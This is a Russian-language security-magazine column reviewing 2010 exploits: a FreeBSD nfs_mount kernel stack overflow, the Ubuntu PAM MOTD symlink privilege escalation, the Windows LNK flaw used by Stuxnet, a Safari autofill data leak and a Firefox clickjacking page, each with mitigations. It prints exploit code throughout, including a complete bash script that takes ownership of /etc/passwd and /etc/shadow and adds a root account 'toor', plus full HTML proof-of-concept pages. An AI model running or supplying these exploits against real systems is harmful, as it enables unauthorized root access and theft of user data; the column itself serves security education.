Обзор эксплойтов

Аномально жаркое лето уничтожает плохо охлаждаемые сервера, а эксплойтам погода нипочем — добьют то, что осталось. Сегодня в нашем обзоре: Свежие get root эксплойты под *nix — даже с пингвином или демоном можно попасть впросак. Обзор LNK эксплойта — любая фича может стать багой. Браузер делает, что хочет — следи за тем, что он отправляет, или «любая фича может стать багой — 2».

Повышение привилегий в FREEBSD

Targets

• FreeBSD 7.2
• FreeBSD 7.3
• FreeBSD 8.0 (DoS)

CVE

• CVE-2010-2020

Brief

Первый гость нашей программы — ядро ОС FreeBSD. В ядре этом затерялась проблема в виде отсутствия проверки длины поступающих данных, что приводит к переполнению буфера в стеке. Да, похоже, этот класс ошибок никогда не потеряет своей популярности у программистов всех мастей. Багу нашел исследователь из Census Labs — Патроклос Аргуроудис (Patroklos Argyroudis), который любит покопаться во внутренностях различных *nix-систем. Уязвимость находится в функции nfs_mount(), которая отвечает за монтирование файловой системы NFS. Добраться до этой функции можно через API-функции вроде mount() или nmount(). Если эти команды доступны обычному пользователю, то через данное переполнение буфера он сможет выполнить код в ядре и стать root’ом.

Exploit

Покопаемся во внутренностях эксплойта, который Патроклос выложил на exploit-db.com.

char *ptr;
long *lptr;
struct nfs_args na;
struct iovec iov[6];
na.version = 3;
na.fh = calloc(BUFSIZE, sizeof(char));

Автор объявил структуру с описанием параметров для монтирования файловой системы типа NTFS. Далее он задал номер версии и выделил память для дескриптора файла, который будет монтироваться. BUFFSIZE = 272 байта. Затем эксплойт заполняет выделенную память символами буквы "А"=0x61 и указывает честно размер параметра в структуре:

memset(na.fh, 0x41, BUFSIZE);
na.fhsize = BUFSIZE;

Далее идет работа с указателями, что примечательно для локальных эксплойтов — не надо гадать по какому адресу находятся те или иные параметры. В Си можно взять указатель и использовать его для локального пользования.

ptr = (char *)na.fh;
lptr = (long *)(na.fh + BUFSIZE - 8);
*lptr++ = 0x12345678; /* saved %ebp */
*lptr++ = (u_long)ptr; /* saved %eip */

Итак, в ptr заносится указатель на дескриптор, для которого мы выделили 272 байта. В lptr также заносится указатель на наш буфер, только не на начало, а с 264 байта. Как видно из комментариев, с 264 под 268 байт будут данные, которые перезапишут регистр EBP, а с 268 по 272 байт — данные, которые перезапишут адрес возврата из уязвимой функции. Если значение EBP не так интересно, от EIP перезаписывается значением адреса из ptr, а там содержится указатель на начало буфера. Таким образом, управление перейдет к инструкциям, которые у нас будут в буфере. Поэтому следующий шаг направлен на помещение в буфер шеллкода.

memcpy(ptr, kernelcode, (sizeof(kernelcode) - 1));

В переменной kernelcode содержится простой шеллкод уровня ядра, который меняет UID на 0, иными словами, дает права пользователя root. В общем, данные готовы, и теперь осталось, собственно, переполнить буфер с помощью вызова nmount(). Для начала нужна директория, куда эксплойт будет «монтировать»:

mkdir(DIRPATH, 0700);

DIRPATH у нас «/tmp/nfs»,так как в /tmp могут создавать директории все пользователи. Для того, чтобы вызвать функцию nmount(), надо подготовить соответствующий массив структур — вектор, который мы уже объявили в начале — iovec. В этих структурах описываются аргументы для монтирования, включая указатель на подготовленные данные — na.

iov[0].iov_base = "fstype";
iov[0].iov_len = strlen(iov[0].iov_base) + 1;
iov[1].iov_base = FSNAME;
iov[1].iov_len = strlen(iov[1].iov_base) + 1;
iov[2].iov_base = "fspath";
iov[2].iov_len = strlen(iov[2].iov_base) + 1;
iov[3].iov_base = DIRPATH;
iov[3].iov_len = strlen(iov[3].iov_base) + 1;
iov[4].iov_base = "nfs_args";
iov[4].iov_len = strlen(iov[4].iov_base) + 1;
iov[5].iov_base = &na;
iov[5].iov_len = sizeof(na);

Далее идет вызов nmount() c указанием количества векторов:

nmount(iov, 6, 0);

Вызов закончится ошибкой, но это уже не имеет значения, так как шеллкод завершил работу в контексте ядра и вернул управление коду эксплойта, который, в свою очередь, просто выполнит exit(). Что же до атакующего, то он теперь стал root'ом, с чем мы его и поздравляем!

Solution

Решений несколько. Во-первых, есть уже FreeBSD 8.1, где уязвимость исправлена, во-вторых, более старые версии не подвержены уязвимости, ну и, в-третьих, по умолчанию права на монтирование есть только у root'а. Так что угроза актуальна для тех, кто выделил данные права и пользователям. Проверить сей факт можно, набрав в консоли:

sysctl vfs.usermount

Если результат не нуль, то пользователи могут монтировать свои прибамбасы и даже запускать данный эксплойт с целью получения UID=0.

Повышение привилегий в Ubuntu

Targets

• Ubuntu 9.10
• Ubuntu 10.04 LTS

CVE

• CVE-2010-0832

Brief

В дистрибутиве ОС Linux Ubuntu была обнаружена серьезная уязвимость, позволяющая любому пользователю повысить свои привилегии до root'а. В этом случае мы говорим уже не о переполнении буфера в ядре, а просто об отсутствии проверок прав при создании файла. Как бы невинно не звучало описание, но последствия все те же — захват root'а.

Exploit

Во время входа в систему, например, через SSH, пользователю показывается приветствие. Делает это модуль pam_motd, который затем соз дает файл motd.legal-notice в домашней директории в папке ./cache.

Мол, смотри пользователь, что я тебе показал... Но делает он это с правами root'а, а так как пользователь не рут, то модуль меняет владельца файла на UID пользователя. Самое время вспомнить про символические линки в *nix-системах, но как это нам поможет? Очень просто — давайте удалим папку .cache из домашней директории и создадим символический линк с именем .cache, который указывает, ну, хотя бы на /etc/shadow.

user@ubuntu1004desktop:~$ rm -rf ~/.cache
user@ubuntu1004desktop:~$ ln -s /etc/shadow ~/.cache;

Затем зайдем по SSH на Ubuntu со своими никчемными правами юзера. Взглянем, что же случилось с /etc/shadow:

user@ubuntu1004desktop:~$ ls -l /etc/shadow
-rw-r----- 1 user user 1162 2010-07-25 12:50 /etc/shadow

Ого, мы теперь владельцы /etc/shadow, а не какой-то там root. А это значит, что мы можем читать файл и вытащить хеш пароля. Но можно сделать еще круче — записать туда новый пароль. Эксплойт на диске делает все вышесказанное автоматически: добавляет пользователя toor в файлы /etc/passwd и /etc/shadow и записывает пароль toor. UID нового пользователя равно нулю, а это значит права root'а. Делает он все это аналогично указанному методу, через символические линки. Взглянем на код эксплойта:

#!/bin/bash
# Строчки для добавления в /etc/passwd
P='toor:x:0:0:root:/root:/bin/bash'
# ... и в /etc/shadow
# в качестве строки — хеш от ‘toor’
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt
0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.
cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
# Проверки на наличие нужных пакетов
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement"
&& exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a
requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running
sshd is a requirement" && exit 1
# Процедура сохранения старых файлов
backup() {
[ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
[ -e "$1" ] || return 0
mv "$1"{,.bak} || return 1
echo "[*] Backuped $1"
}
# Процедура восстановления старых файлов
restore() {
[ -e "$1" ] && rm -rf "$1"
[ -e "$1".bak ] || return 0
mv "$1"{.bak,} || return 1
echo "[*] Restored $1"
}
# процедура создания SSH-ключей
key_create() {
backup ~/.ssh/authorized_keys
ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
[ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
# сохраняем публичный ключ в доверенных ключах
mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
echo "[*] SSH key set up"
}
# Удаляем доверенные открытые ключи
key_remove() {
rm -f "$KEY"
restore ~/.ssh/authorized_keys
echo "[*] SSH key removed"
}
# Триггер уязвимости
own() {
[ -e ~/.cache ] && rm -rf ~/.cache
# Создаем линк
ln -s "$1" ~/.cache || return 1
echo "[*] spawn ssh"
# Используя ключ, выполняем SSH-соединение
ssh -o 'NoHostAuthenticationForLocalhost yes' -i
"$KEY" localhost true
[ -w "$1" ] || { echo "[-] Own $1 failed"; restore
~/.cache; bye; }
echo "[+] owned: $1"
}
bye() {
key_remove
exit 1
}
# Основной код:
KEY="$(mktemp -u)"
# Создаем ключи, что бы спокойно юзать SSH без ввода пароля
key_create || { echo "[-] Failed to setup SSH key"; exit
1; }
# Cохраняем старый .cache
backup ~/.cache || { echo "[-] Failed to backup
~/.cache"; bye; }
# Атака на /etc/passwd
own /etc/passwd && echo "$P" >> /etc/passwd
# Атака на /etc/shadow
own /etc/shadow && echo "$S" >> /etc/shadow
# Восстанавливаем .cache
restore ~/.cache || { echo "[-] Failed to restore
~/.cache"; bye; }
# Удаляем ключи SSH, что нагенерили
key_remove
echo "[+] Success! Use password toor to get root"
# Обновляем базы паролей из файлов
# Получаем шелл
# Для этого требуется ввести пароль пользователя toor…
# пароль=toor
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown
root: /etc/{passwd,shadow}; chgrp shadow /etc/shadow;
nscd -i passwd >/dev/null 2>&1; bash" toor

Solution

Существует патч, ставим его так:

user@ubuntu1004desktop:~$ sudo aptitude -y update
user@ubuntu1004desktop:~$ sudo aptitude -y install
libpam~n~i

Автоматический запуск кода с помощью .lnk-файлов

Targets

• Windows XP
• Windows 2000/2003/2008
• Windows Vista
• Windows 7

CVE

• CVE-2010-2568

Brief

0day уязвимость обнаружили эксперты, изучая метод распространения новой заразы — Win32/Stuxnet, которая была заточена под промышленный шпионаж и собирала данные с АСУ ТП систем (подробнее об этом читай в отдельной статье). Здесь же я расскажу лишь про саму уязвимость. Уязвимость заключается в том, что каким-то магическим образом вредоносный код из DLL-файла выполнялся автоматически при открытии флеш-накопителя с этой DLL’кой и неким ярлычком...

Exploit

Как же уязвимость может запускать произвольный код, да еще и автоматически через .LNK файл? При открытии содержимого флешки в стандартном вьювере, ярлычки автоматически обрабатываются для отображения. Во время этой обработки оболочка винды (explorer.exe и shell32.dll) попытается загрузить иконки. При этом, если там будет .LNK с указателем на элемент контрольной панели (.cpl), обработчик подгрузит этот апплет через вызов LoadLibraryW() с целью обработки иконки из .CPL-файла. Но фишка в том, что в таком ярлыке можно указать не путь к .CPL-файлу, а, например, к динамической библиотеке — .DLL.

А, как известно, LoadLibraryW() автоматически вызывает из библиотеки функцию DllMain(). Как видно, все дико просто. Уязвимость архитектурная, так как это не «бага», а скорее «фича». Тем не менее, такие ошибки всегда самые опасные. Злоумышленник сгенерил библиотеку с вредоносным кодом, создал .LNK файл, и все — автоматический залет, и покруче, чем через autorun.inf. В итоге был выложен безвредный PoC эксплойта, который всего лишь посылает «дебаг» сообщения, которые можно ловить программой DbgView. Сообщение гласит: «SUCKM3 FROM EXPLORER.EXE MOTH4FUCKA #@!». Какой-то смысл во фразе, конечно, есть... Тем не менее, ребята из команды MetaSploit показали эту же уязвимость в ином измерении. Одно дело — pwn’ить компьютеры, втыкая злостные флешки, и совсем другое — попытаться использовать эту уязвимость через интернет.

Добились они этого за счет использования WebDav, который позволяет использовать файловый доступ к ресурсу по протоколу HTTP. Иными словами, создается WebDav-сервис с ярлычком и библиотекой, подопытный, используя браузер типа IE, заходит на сервер и получает эти файлы в отображении стандартного видового просмотрщика директорий (explorer.exe). Что происходит потом — ты уже читал выше. Собственно для теста обнови свой метасплойт, найди модуль эксплутации уязвимости .lnk, запусти... даже настроек не надо, только выбери шеллкод, который будет внедрен в .DLL-файл, который подгрузится жертвой.

Solution

Официального патча пока нет, тем не менее, существует несколько шагов, которые способны снизить риски практически до нуля. Исследователь Дидье Стивенс (Didier Stevens) в своем блоге опубликовал аж две заметки на тему защиты от данной напасти. Во-первых, он предложил использовать его тулзу — Ariad [], которой можно запретить запуск и/или загрузку исполняемых файлов с CD-ROM и USB-диска. Во-вторых, использовать политики ограничения использования программ (SRP).

Эти политики позволяют контролировать различное ПО. Достаточно добавить политику типа «запретить всем неизвестным ПО запускаться с дисков», и эксплойт больше не опасен. Для этого идем в Панель управления — Администрирование — Локальная политика безопасности — Политики ограниченного использования программ, правой кнопкой — «Добавить новую политику». Далее выбираем дополнительные правила и правой кнопкой добавляем правило для пути. Вбиваем букву используемого диска, уровень — неограниченный. После этого опять идем на уровень выше и выбираем параметр «Принудительный». Там необходимо указать, что эти правила не только для .exe, но вообще для всех исполняемых файлов. После этого выбираем уровни безопасности и ставим на «Не разрешено», как правило по умолчанию.

Автозаполнение форм в браузере SAFARI

Targets

• Safari 4
• Safari 5

CVE

• N/A

Brief

Продолжаем плавно переходить от *nix к Windows, и от «баг» к «фичам».
Джереми Гроссман (Jeremiah Grossman), известный исследователь, показал нам с тобою, какую опасность таят «модные и удобные фишки». Никто не спорит, что автозаполнение в браузере привносит в наш, погрязший в ненависти и лжи, мир лучик надежды на что-то хорошее, но все же стоит понимать, что всякая автоматизация потенциально опасна, и когда-нибудь компьютеры просто убьют всех людей :).

Exploit

Что такое автозаполнение? Это когда тебе лень каждый раз писать свой хаксорский «никнэйм» или адрес электронного ящика, и умный, услужливый браузер сам, по памяти, дописывает нужные байтики в editbox.

Создатели Safari пошли еще дальше — они берут всю инфу прямо из твоей карточки, что в адресной книге (кто вообще ими пользуется?). Вот до чего техника дошла! Но зоркий глаз Гроссмана обратил внимание на то, что после автозаполнения поля с определенным ID, а также остальные поля заполняются сами. Круто! Но если представить, что эти поля скрыты? То ты даже не заметишь, что они заполнились чем-то, что ты уже вводил. Это может выглядеть так: на сайте тебя просят ввести только имя, ты радостно начинаешь вводить, тут тебе помогает автозаполнение — ты его подтверждаешь и отсылаешь форму, где ты указал только имя.

Но в скрытых формах заполнилось больше инфы, чем того хотелось, например, адрес, страна и электронный ящик. И все это послалось куда-то там, и совершенно без твоего ведома. Пример такого эксплойта:

<html>
<head>
<meta http-equiv="Content-Type" content="text/
html; charset=utf-8" />
<title>
Settings - Profile - brightkite.com
</title>
</head>
<body>
<form action="http://localhost/" method="get">
<label for="fullname">Full name</label>
<input id="fullname" name="fullname" />
<input type="submit" />
<input id="street" name="street"
style="opacity:0"/>
<input id="e-mail" name="e-mail"
style="opacity:0"/>
</form>
</body>
</html>

Соответственно, видно только поле для ввода ФИО. Остальное как бы не видно, но тоже является частью формы и подвержено автозаполнению. При отправке формы указанные параметры будут отображены в адресной строке (так тут у нас метод GET).

Solution

Гроссман сообщил Apple о проблеме, но, по его словам, те просто тихо проигнорировали сей факт, так что патча нет. К счастью проблема решает ся просто — отключением автозаполнения.

Clickjacking в браузерах

Targets

• Firefox 3.6.7
• Netscape 9.0.0.6
• Opera 10.60
• Safari 4.0.2
• SeaMonkey 2.0.6

CVE

• N/A

Brief

И добивая браузерную тему, расскажу о Clickjacking. Тот самый Гроссман рассказывал впервые о данной атаке два года назад, и теперь, спустя два года, современные браузеры получают свою долю эксплойтов. Иранские хакеры из Securitylab.ir в лице Пойа Данешманда (Pouya Daneshmand) опубликовали несколько эксплойтов на данную тему для различных браузеров. А что такое Clickjacking? А это когда пользователь кликает по ссылке А, а его по какой-то причине кидает на ссылку Б. То есть это некая обманка, которая позволяет запудрит жертве мозги (или глаза).

Exploit

Эксплойт выглядит как обычная HTML-страничка. При ее открытии видна ссылка на иранский сайт, если навести мышкой на ссылку, то в статусной строке четко отпишется имя этого самого сайта. Вроде никакого подвоха. Зато когда кликнешь по ссылке, браузер идет совсем на другой сайт. Как это реализовано — сейчас и посмотрим. Разбирать я буду эксплойт для FireFox, так как данный браузер наиболее популярен у меня дома. Собственно текст HTML:

<html><head>
<meta http-equiv="content-type" content="text/html;
charset=UTF-8">
<title>FF3.6.7/SM 2.0.6 ClickJacking Vulnerability</
title>
</head><body>
<div id="mydiv" onmouseover="document.location='http://
www.mozilla.org';" style="border: 0px none ; background:
rgb(0, 0, 0) none repeat scroll 0% 0%; position:
absolute; width: 2px; height: 2px; -moz-background-clip:
-moz-initial; -moz-background-origin: -moz-initial;
-moz-background-inline-policy: -moz-initial;"></div>
<script>
function clickjack_armor(evt)
{
clickjack_mouseX=evt.pageX?evt.pageX:evt.clientX;
clickjack_mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('mydiv').style.
left=clickjack_mouseX-1;
document.getElementById('mydiv').style.
top=clickjack_mouseY-1;
}
</script>
<center>
<br>
<center><h1><font face="Calibri">Firefox 3.6.7 /
SeaMonkey 2.0.6 Clickjacking Vulnerability</font></h1>
<p> </p>
<div style="border-top-style: solid; border-top-width:
1px; padding-top: 1px">
<b><br><br>
<a href="http://www.Securitylab.ir"
onclick="clickjack_armor(event)"> Go
to the http://www.Securitylab.ir : (http://www.
mozilla.org)</a></b></div>
<div style="border-bottom-style: solid; border-bottomwidth:
1px; padding-bottom: 1px">
<p> </div>
<p> </p>
</center>
<div style="border-top-style: solid; border-top-width:
1px; border-bottom-style: solid; border-bottom-width:
1px; padding-top: 1px; padding-bottom: 1px">
<b><font face="Calibri">Pouya Daneshmand,
Securitylab.ir</font></b></div>
</center></body></html>

Первым делом обратим внимание на малюсенький слой «mydiv». Данный слой будет в верхнем левом углу браузера, и, как видно из его свойств, при наведении мышки на этот слой браузер сделает редирект на сайт разработчика браузера. В центре же есть ссылка, но при клике стоит событие на вызов функции clickjack_armor(). При наведении будет указываться ссылка на иранский сайт. Функция clickjack_ armor() меняет размеры слоя «mydiv» под координаты мышки, что автоматически запускает событие слоя onmouseover и грузится сайт Мозиллы. В итоге для пользователя это выглядит, как если бы он кликнул на один сайт — иранский, а попал на другой — Мозиллы. Вот такие дела.

Мне не очень понятно, зачем так хитрить, если жертва уже на твоей вебстранице, но, тем не менее, уязвимость имеет место быть.

Solution

Большинство браузеров избавлены от данной проблемы в своих последних версиях. Вообще, что касается браузеров — лучше проверять обновления чуть ли не каждый день, и, если что, сразу обновлять.